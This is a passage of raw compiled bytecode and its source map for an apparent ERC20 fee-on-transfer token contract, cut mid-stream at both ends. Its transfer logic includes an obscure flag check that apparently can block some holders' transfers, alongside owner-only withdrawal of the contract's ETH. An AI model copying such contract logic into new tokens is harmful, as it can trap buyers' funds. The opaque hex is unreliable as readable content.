b5f806108305f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610896573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108bb9190611759565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610910573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109349190611784565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109775760405162461bcd60e51b815260040161045e90611709565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156109ae573d5f803e3d5ffd5b50565b6001600160a01b038316610a135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045e565b6001600160a01b038216610a745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045e565b6001600160a01b038216610b9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045e565b5f8111610bfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045e565b601354600160b01b900460ff161580610c1e5750601354600160a81b900460ff165b15610cc8576001600160a01b0383165f90815260016020526040902054610c469082906117a3565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c759082906117b6565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac89085815260200190565b5f80610cd58360036111a2565b610ce09060036117b6565b9050610cf35f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d2157505f546001600160a01b03858116911614155b8015610d3b57506005546001600160a01b03858116911614155b1561102c576001600160a01b038481165f908152600460205260408082205460055490931682529020805460ff191660ff909216159182179055610d7d575f80fd5b600d545f03610db557610db26064610dac600a54600d5411610da157600654610da5565b6008545b86906111ea565b90611268565b91505b6001600160a01b0385165f9081526004602052604090205460ff168015610dda575060015b15610df757610dea8360046116f2565b610df4905f6116f2565b90505b6013546001600160a01b038681169116148015610e2257506012546001600160a01b03858116911614155b8015610e4657506001600160a01b0384165f9081526003602052604090205460ff16155b15610f4957600e54831115610e9d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045e565b600f5483610ebf866001600160a01b03165f9081526001602052604090205490565b610ec991906117b6565b1115610f175760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045e565b610f326064610dac600a54600d5411610da157600654610da5565b600d80549193505f610f43836117c9565b91905055505b6013546001600160a01b038581169116148015610f6f57506001600160a01b0385163014155b15610f9c57610f996064610dac600b54600d5411610f8f57600754610da5565b60095486906111ea565b91505b305f90815260016020526040902054601354600160a81b900460ff16158015610fd257506013546001600160a01b038681169116145b8015610fe75750601354600160b01b900460ff165b8015610ff65750600c54600d54115b1561102a576010548111156110225761102261101d85611018846011546112a9565b6112a9565b6112bd565b61102a61142d565b505b81156110a457305f9081526001602052604090205461104b9083611463565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061109b9086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110c690826111a2565b6001600160a01b0386165f908152600160205260409020556111096110eb84846111a2565b6001600160a01b0386165f9081526001602052604090205490611463565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61115286866111a2565b60405190815260200160405180910390a35050505050565b5f818484111561118d5760405162461bcd60e51b815260040161045e91906114ed565b505f61119984866117a3565b95945050505050565b5f6111e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061116a565b9392505050565b5f825f036111f957505f6103a7565b5f61120483856116f2565b90508261121185836117e1565b146111e35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045e565b5f6111e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c1565b5f8183116112b757826111e3565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061130357611303611800565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561135a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061137e919061173e565b8160018151811061139157611391611800565b6001600160a01b0392831660209182029290920101526012546113b791309116846109b1565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ef9085905f90869030904290600401611814565b5f604051808303815f87803b158015611406575f80fd5b505af1158015611418573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109ae573d5f803e3d5ffd5b5f8061146f83856117b6565b9050838110156111e35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045e565b5f81836114e15760405162461bcd60e51b815260040161045e91906114ed565b505f61119984866117e1565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146109ae575f80fd5b5f8060408385031215611547575f80fd5b823561155281611522565b946020939093013593505050565b5f805f60608486031215611572575f80fd5b833561157d81611522565b9250602084013561158d81611522565b929592945050506040919091013590565b5f602082840312156115ae575f80fd5b81356111e381611522565b5f80604083850312156115ca575f80fd5b82356115d581611522565b915060208301356115e581611522565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561163e57815f1904821115611624576116246115f0565b8085161561163157918102915b93841c9390800290611609565b509250929050565b5f82611654575060016103a7565b8161166057505f6103a7565b816001811461167657600281146116805761169c565b60019150506103a7565b60ff841115611691576116916115f0565b50506001821b6103a7565b5060208310610133831016604e8410600b84101617156116bf575081810a6103a7565b6116c98383611604565b805f19048211156116dc576116dc6115f0565b029392505050565b5f6111e360ff841683611646565b80820281158282048414176103a7576103a76115f0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561174e575f80fd5b81516111e381611522565b5f805f6060848603121561176b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611794575f80fd5b815180151581146111e3575f80fd5b818103818111156103a7576103a76115f0565b808201808211156103a7576103a76115f0565b5f600182016117da576117da6115f0565b5060010190565b5f826117fb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118645784516001600160a01b03168352938301939183019160010161183f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d04845be8e60167818a0d7c595b97f68d756a619ffa1f6bf036b33564149edf564736f6c63430008190033
Deployed Bytecode Sourcemap
3577:7810:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5937:83;;;;;;;;;;-1:-1:-1;6007:5:0;;;;;;;;;;;;-1:-1:-1;;;6007:5:0;;;;5937:83;;;;;;;:::i;:::-;;;;;;;;6768:161;;;;;;;;;;-1:-1:-1;6768:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6768:161:0;893:187:1;4674:51:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4674:51:0;1085:177:1;6214:95:0;;;;;;;;;;;;;:::i;6937:313::-;;;;;;;;;;-1:-1:-1;6937:313:0;;;;;:::i;:::-;;:::i;6123:83::-;;;;;;;;;;-1:-1:-1;6123:83:0;;4291:1;1870:36:1;;1858:2;1843:18;6123:83:0;1728:184:1;6317:117:0;;;;;;;;;;-1:-1:-1;6317:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6410:16:0;6383:7;6410:16;;;:7;:16;;;;;;;6317:117;1643:148;;;;;;;;;;;;;:::i;:::-;;10598:159;;;;;;;;;;;;;:::i;4488:53::-;;;;;;;;;;;;;;;;5537:392;;;;;;;;;;;;;:::i;1429:79::-;;;;;;;;;;-1:-1:-1;1467:7:0;1494:6;1429:79;;-1:-1:-1;;;;;1494:6:0;;;2315:51:1;;2303:2;2288:18;1429:79:0;2169:203:1;4548:55:0;;;;;;;;;;;;;;;;6028:87;;;;;;;;;;-1:-1:-1;6100:7:0;;;;;;;;;;;;-1:-1:-1;;;6100:7:0;;;;6028:87;;6442:167;;;;;;;;;;-1:-1:-1;6442:167:0;;;;;:::i;:::-;;:::i;4610:57::-;;;;;;;;;;;;;;;;10864:483;;;;;;;;;;;;;:::i;10377:107::-;;;;;;;;;;;;;:::i;6617:143::-;;;;;;;;;;-1:-1:-1;6617:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6725:18:0;;;6698:7;6725:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6617:143;6768:161;6843:4;6860:39;1086:10;6883:7;6892:6;6860:8;:39::i;:::-;-1:-1:-1;6917:4:0;6768:161;;;;;:::o;6214:95::-;6267:7;4349:13;4291:1;4349:2;:13;:::i;:::-;4334:28;;:12;:28;:::i;:::-;6287:14;;6214:95;:::o;6937:313::-;7035:4;7052:36;7062:6;7070:9;7081:6;7052:9;:36::i;:::-;7099:121;7108:6;1086:10;7130:89;7168:6;7130:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7130:19:0;;;;;;:11;:19;;;;;;;;1086:10;7130:33;;;;;;;;;;:37;:89::i;:::-;7099:8;:121::i;:::-;-1:-1:-1;7238:4:0;6937:313;;;;;:::o;1643:148::-;1556:6;;-1:-1:-1;;;;;1556:6:0;1086:10;1556:22;1548:67;;;;-1:-1:-1;;;1548:67:0;;;;;;;:::i;:::-;;;;;;;;;1750:1:::1;1734:6:::0;;1713:40:::1;::::0;-1:-1:-1;;;;;1734:6:0;;::::1;::::0;1713:40:::1;::::0;1750:1;;1713:40:::1;1781:1;1764:19:::0;;-1:-1:-1;;;;;;1764:19:0::1;::::0;;1643:148::o;10598:159::-;1556:6;;-1:-1:-1;;;;;1556:6:0;1086:10;1556:22;1548:67;;;;-1:-1:-1;;;1548:67:0;;;;;;;:::i;:::-;4349:13:::1;4291:1;4349:2;:13;:::i;:::-;4334:28;::::0;:12:::1;:28;:::i;:::-;10651:12;:22:::0;4349:13:::1;4291:1;4349:2;:13;:::i;:::-;4334:28;::::0;:12:::1;:28;:::i;:::-;10684:14;:22:::0;10722:27:::1;4349:13;4291:1;4349:2;:13;:::i;:::-;4334:28;::::0;:12:::1;:28;:::i;:::-;10722:27;::::0;1231:25:1;;;1219:2;1204:18;10722:27:0::1;;;;;;;10598:159::o:0;5537:392::-;1556:6;;-1:-1:-1;;;;;1556:6:0;1086:10;1556:22;1548:67;;;;-1:-1:-1;;;1548:67:0;;;;;;;:::i;:::-;5590:15:::1;:104:::0;;-1:-1:-1;;;;;;5590:104:0::1;5641:42;5590:104:::0;;::::1;::::0;;;5705:58:::1;::::0;5722:4:::1;::::0;4349:13:::1;4291:1;4349:2;:13;:::i;:::-;4334:28;::::0;:12:::1;:28;:::i;5705:58::-;5808:15;;;;;;;;;-1:-1:-1::0;;;;;5808:15:0::1;-1:-1:-1::0;;;;;5808:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5790:55:0::1;;5868:4;5888:15;;;;;;;;;-1:-1:-1::0;;;;;5888:15:0::1;-1:-1:-1::0;;;;;5888:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5790:131;::::0;-1:-1:-1;;;;;;5790:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5299:15:1;;;5790:131:0::1;::::0;::::1;5281:34:1::0;5351:15;;5331:18;;;5324:43;5216:18;;5790:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5774:13;:147:::0;;-1:-1:-1;;;;;;5774:147:0::1;-1:-1:-1::0;;;;;5774:147:0;;;::::1;::::0;;;::::1;::::0;;5537:392::o;6442:167::-;6520:4;6537:42;1086:10;6561:9;6572:6;6537:9;:42::i;10864:483::-;1556:6;;-1:-1:-1;;;;;1556:6:0;1086:10;1556:22;1548:67;;;;-1:-1:-1;;;1548:67:0;;;;;;;:::i;:::-;10926:11:::1;::::0;-1:-1:-1;;;10926:11:0;::::1;;;10925:12;10917:48;;;::::0;-1:-1:-1;;;10917:48:0;;5580:2:1;10917:48:0::1;::::0;::::1;5562:21:1::0;5619:2;5599:18;;;5592:30;5658:25;5638:18;;;5631:53;5701:18;;10917:48:0::1;5378:347:1::0;10917:48:0::1;10976:15;::::0;-1:-1:-1;;;;;10976:15:0::1;:31;11015:21;11060:4;11080:24;11060:4:::0;-1:-1:-1;;;;;6410:16:0;6383:7;6410:16;;;:7;:16;;;;;;;6317:117;11080:24:::1;11119:1;11135::::0;11151:7:::1;1467::::0;1494:6;-1:-1:-1;;;;;1494:6:0;;1429:79;11151:7:::1;10976:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10976:223:0;;;-1:-1:-1;;;;;6089:15:1;;;10976:223:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;11173:15:0::1;6303:19:1::0;;;6296:35;6005:19;;10976:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11217:13:0::1;::::0;11248:15:::1;::::0;11210:71:::1;::::0;-1:-1:-1;;;11210:71:0;;-1:-1:-1;;;;;11248:15:0;;::::1;11210:71;::::0;::::1;6827:51:1::0;-1:-1:-1;;6894:18:1;;;6887:34;11217:13:0;::::1;::::0;-1:-1:-1;11210:29:0::1;::::0;6800:18:1;;11210:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11292:11:0::1;:18:::0;;-1:-1:-1;;;;11321:18:0;-1:-1:-1;;;11321:18:0;;;10864:483::o;10377:107::-;1556:6;;-1:-1:-1;;;;;1556:6:0;1086:10;1556:22;1548:67;;;;-1:-1:-1;;;1548:67:0;;;;;;;:::i;:::-;1467:7;1494:6;;10428:48:::1;::::0;-1:-1:-1;;;;;1494:6:0;;;;10454:21:::1;10428:48:::0;::::1;;;::::0;10454:21;;10428:48;1467:7;10428:48;10454:21;1494:6;10428:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10377:107::o:0;7258:335::-;-1:-1:-1;;;;;7351:19:0;;7343:68;;;;-1:-1:-1;;;7343:68:0;;7416:2:1;7343:68:0;;;7398:21:1;7455:2;7435:18;;;7428:30;7494:34;7474:18;;;7467:62;-1:-1:-1;;;7545:18:1;;;7538:34;7589:19;;7343:68:0;7214:400:1;7343:68:0;-1:-1:-1;;;;;7430:21:0;;7422:68;;;;-1:-1:-1;;;7422:68:0;;7821:2:1;7422:68:0;;;7803:21:1;7860:2;7840:18;;;7833:30;7899:34;7879:18;;;7872:62;-1:-1:-1;;;7950:18:1;;;7943:32;7992:19;;7422:68:0;7619:398:1;7422:68:0;-1:-1:-1;;;;;7501:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7553:32;;1231:25:1;;;7553:32:0;;1204:18:1;7553:32:0;;;;;;;;7258:335;;;:::o;7601:2277::-;-1:-1:-1;;;;;7689:18:0;;7681:68;;;;-1:-1:-1;;;7681:68:0;;8224:2:1;7681:68:0;;;8206:21:1;8263:2;8243:18;;;8236:30;8302:34;8282:18;;;8275:62;-1:-1:-1;;;8353:18:1;;;8346:35;8398:19;;7681:68:0;8022:401:1;7681:68:0;-1:-1:-1;;;;;7768:16:0;;7760:64;;;;-1:-1:-1;;;7760:64:0;;8630:2:1;7760:64:0;;;8612:21:1;8669:2;8649:18;;;8642:30;8708:34;8688:18;;;8681:62;-1:-1:-1;;;8759:18:1;;;8752:33;8802:19;;7760:64:0;8428:399:1;7760:64:0;7852:1;7843:6;:10;7835:64;;;;-1:-1:-1;;;7835:64:0;;9034:2:1;7835:64:0;;;9016:21:1;9073:2;9053:18;;;9046:30;9112:34;9092:18;;;9085:62;-1:-1:-1;;;9163:18:1;;;9156:39;9212:19;;7835:64:0;8832:405:1;7835:64:0;7915:11;;-1:-1:-1;;;7915:11:0;;;;7914:12;;:22;;-1:-1:-1;7930:6:0;;-1:-1:-1;;;7930:6:0;;;;7914:22;7910:209;;;-1:-1:-1;;;;;7969:13:0;;;;;;:7;:13;;;;;;:22;;7985:6;;7969:22;:::i;:::-;-1:-1:-1;;;;;7953:13:0;;;;;;;:7;:13;;;;;;:38;;;;8020:11;;;;;;;:20;;8034:6;;8020:20;:::i;:::-;-1:-1:-1;;;;;8006:11:0;;;;;;;:7;:11;;;;;;;:34;;;;8060:26;;;;;;;;;;8079:6;1231:25:1;;1219:2;1204:18;;1085:177;7910:209:0;8129:14;;8165:13;:6;8176:1;8165:10;:13::i;:::-;8163:15;;:1;:15;:::i;:::-;8147:31;;8202:7;1467;1494:6;-1:-1:-1;;;;;1494:6:0;;1429:79;8202:7;-1:-1:-1;;;;;8194:15:0;:4;-1:-1:-1;;;;;8194:15:0;;;:32;;;;-1:-1:-1;1467:7:0;1494:6;-1:-1:-1;;;;;8213:13:0;;;1494:6;;8213:13;;8194:32;:50;;;;-1:-1:-1;8236:8:0;;-1:-1:-1;;;;;8230:14:0;;;8236:8;;8230:14;;8194:50;8190:1359;;;-1:-1:-1;;;;;8297:12:0;;;;;;;:8;:12;;;;;;;8278:8;;;;;8269:18;;;;:40;;-1:-1:-1;;8269:40:0;8297:12;;;;8296:13;8269:40;;;;;8261:49;;;;;;8328:9;;8339:1;8328:12;8325:136;;8369:76;8441:3;8369:67;8391:15;;8381:9;;:25;8380:55;;8421:14;;8380:55;;;8408:12;;8380:55;8369:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8360:85;;8325:136;-1:-1:-1;;;;;8464:14:0;;;;;;:8;:14;;;;;;;;:28;;;;-1:-1:-1;8480:12:0;8464:28;8461:89;;;8522:8;:6;8529:1;8522:8;:::i;:::-;8515:16;;8516:3;8515:16;:::i;:::-;8494:54;;8461:89;8576:13;;-1:-1:-1;;;;;8568:21:0;;;8576:13;;8568:21;:55;;;;-1:-1:-1;8607:15:0;;-1:-1:-1;;;;;8593:30:0;;;8607:15;;8593:30;;8568:55;:82;;;;-1:-1:-1;;;;;;8629:21:0;;;;;;:17;:21;;;;;;;;8627:23;8568:82;8564:416;;;8690:12;;8680:6;:22;;8672:60;;;;-1:-1:-1;;;8672:60:0;;9707:2:1;8672:60:0;;;9689:21:1;9746:2;9726:18;;;9719:30;9785:27;9765:18;;;9758:55;9830:18;;8672:60:0;9505:349:1;8672:60:0;8785:14;;8775:6;8759:13;8769:2;-1:-1:-1;;;;;6410:16:0;6383:7;6410:16;;;:7;:16;;;;;;;6317:117;8759:13;:22;;;;:::i;:::-;:40;;8751:79;;;;-1:-1:-1;;;8751:79:0;;10061:2:1;8751:79:0;;;10043:21:1;10100:2;10080:18;;;10073:30;10139:28;10119:18;;;10112:56;10185:18;;8751:79:0;9859:350:1;8751:79:0;8858:76;8930:3;8858:67;8880:15;;8870:9;;:25;8869:55;;8910:14;;8869:55;;8858:76;8953:9;:11;;8849:85;;-1:-1:-1;8953:9:0;:11;;;:::i;:::-;;;;;;8564:416;9003:13;;-1:-1:-1;;;;;8997:19:0;;;9003:13;;8997:19;:43;;;;-1:-1:-1;;;;;;9020:20:0;;9035:4;9020:20;;8997:43;8994:172;;;9071:79;9146:3;9071:70;9093:16;;9083:9;;:26;9082:58;;9125:15;;9082:58;;;9111:13;;9071:6;;:10;:70::i;:79::-;9062:88;;8994:172;9229:4;9180:28;6410:16;;;:7;:16;;;;;;9255:6;;-1:-1:-1;;;9255:6:0;;;;9254:7;:30;;;;-1:-1:-1;9271:13:0;;-1:-1:-1;;;;;9265:19:0;;;9271:13;;9265:19;9254:30;:45;;;;-1:-1:-1;9288:11:0;;-1:-1:-1;;;9288:11:0;;;;9254:45;:79;;;;;9315:18;;9303:9;;:30;9254:79;9250:288;;;9380:17;;9357:20;:40;9354:135;;;9420:69;9437:51;9441:6;9449:38;9453:20;9475:11;;9449:3;:38::i;:::-;9437:3;:51::i;:::-;9420:16;:69::i;:::-;9508:14;:12;:14::i;:::-;8246:1303;8190:1359;9562:8;;9559:149;;9623:4;9607:22;;;;:7;:22;;;;;;:34;;9634:6;9607:26;:34::i;:::-;9600:4;9584:22;;;;:7;:22;;;;;;;:57;;;;9659:37;;-1:-1:-1;;;;;9659:37:0;;;;;;;9689:6;1231:25:1;;1219:2;1204:18;;1085:177;9659:37:0;;;;;;;;9559:149;-1:-1:-1;;;;;9732:13:0;;;;;;:7;:13;;;;;;:26;;9750:7;9732:17;:26::i;:::-;-1:-1:-1;;;;;9718:13:0;;;;;;:7;:13;;;;;:40;9781:35;9797:18;:6;9808;9797:10;:18::i;:::-;-1:-1:-1;;;;;9781:11:0;;;;;;:7;:11;;;;;;;:15;:35::i;:::-;-1:-1:-1;;;;;9769:11:0;;;;;;;:7;:11;;;;;:47;;;;9832:38;;;9851:18;:6;9862;9851:10;:18::i;:::-;9832:38;;1231:25:1;;;1219:2;1204:18;9832:38:0;;;;;;;7670:2208;;7601:2277;;;:::o;2789:190::-;2875:7;2911:12;2903:6;;;;2895:29;;;;-1:-1:-1;;;2895:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2935:9:0;2947:5;2951:1;2947;:5;:::i;:::-;2935:17;2789:190;-1:-1:-1;;;;;2789:190:0:o;2645:136::-;2703:7;2730:43;2734:1;2737;2730:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2723:50;2645:136;-1:-1:-1;;;2645:136:0:o;2987:246::-;3045:7;3069:1;3074;3069:6;3065:47;;-1:-1:-1;3099:1:0;3092:8;;3065:47;3122:9;3134:5;3138:1;3134;:5;:::i;:::-;3122:17;-1:-1:-1;3167:1:0;3158:5;3162:1;3122:17;3158:5;:::i;:::-;:10;3150:56;;;;-1:-1:-1;;;3150:56:0;;10778:2:1;3150:56:0;;;10760:21:1;10817:2;10797:18;;;10790:30;10856:34;10836:18;;;10829:62;-1:-1:-1;;;10907:18:1;;;10900:31;10948:19;;3150:56:0;10576:397:1;3241:132:0;3299:7;3326:39;3330:1;3333;3326:39;;;;;;;;;;;;;;;;;:3;:39::i;10492:98::-;10549:7;10576:1;10574;:3;10573:9;;10581:1;10573:9;;;-1:-1:-1;10579:1:0;10492:98;-1:-1:-1;10492:98:0:o;9886:483::-;5127:6;:13;;-1:-1:-1;;;;5127:13:0;-1:-1:-1;;;5127:13:0;;;9988:16:::1;::::0;;10002:1:::1;9988:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9988:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9988:16:0::1;9964:40;;10033:4;10015;10020:1;10015:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10015:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10059:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10059:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10015:7;;10059:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10049:4;10054:1;10049:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10049:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10124:15:::1;::::0;10092:62:::1;::::0;10109:4:::1;::::0;10124:15:::1;10142:11:::0;10092:8:::1;:62::i;:::-;10165:15;::::0;:196:::1;::::0;-1:-1:-1;;;10165:196:0;;-1:-1:-1;;;;;10165:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10246:11;;10165:15:::1;::::0;10288:4;;10315::::1;::::0;10335:15:::1;::::0;10165:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5163:6:0;:14;;-1:-1:-1;;;;5163:14:0;;;-1:-1:-1;;;;9886:483:0:o;10765:91::-;10808:8;;:40;;-1:-1:-1;;;;;10808:8:0;;;;10826:21;10808:40;;;;;:8;:40;:8;:40;10826:21;10808:8;:40;;;;;;;;;;;;;;;;;;;2458:179;2516:7;;2548:5;2552:1;2548;:5;:::i;:::-;2536:17;;2577:1;2572;:6;;2564:46;;;;-1:-1:-1;;;2564:46:0;;12429:2:1;2564:46:0;;;12411:21:1;12468:2;12448:18;;;12441:30;12507:29;12487:18;;;12480:57;12554:18;;2564:46:0;12227:351:1;3381:189:0;3467:7;3502:12;3495:5;3487:28;;;;-1:-1:-1;;;3487:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3526:9:0;3538:5;3542:1;3538;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4452:356::-;4654:2;4636:21;;;4673:18;;;4666:30;4732:34;4727:2;4712:18;;4705:62;4799:2;4784:18;;4452:356::o;4813:251::-;4883:6;4936:2;4924:9;4915:7;4911:23;4907:32;4904:52;;;4952:1;4949;4942:12;4904:52;4984:9;4978:16;5003:31;5028:5;5003:31;:::i;6342:306::-;6430:6;6438;6446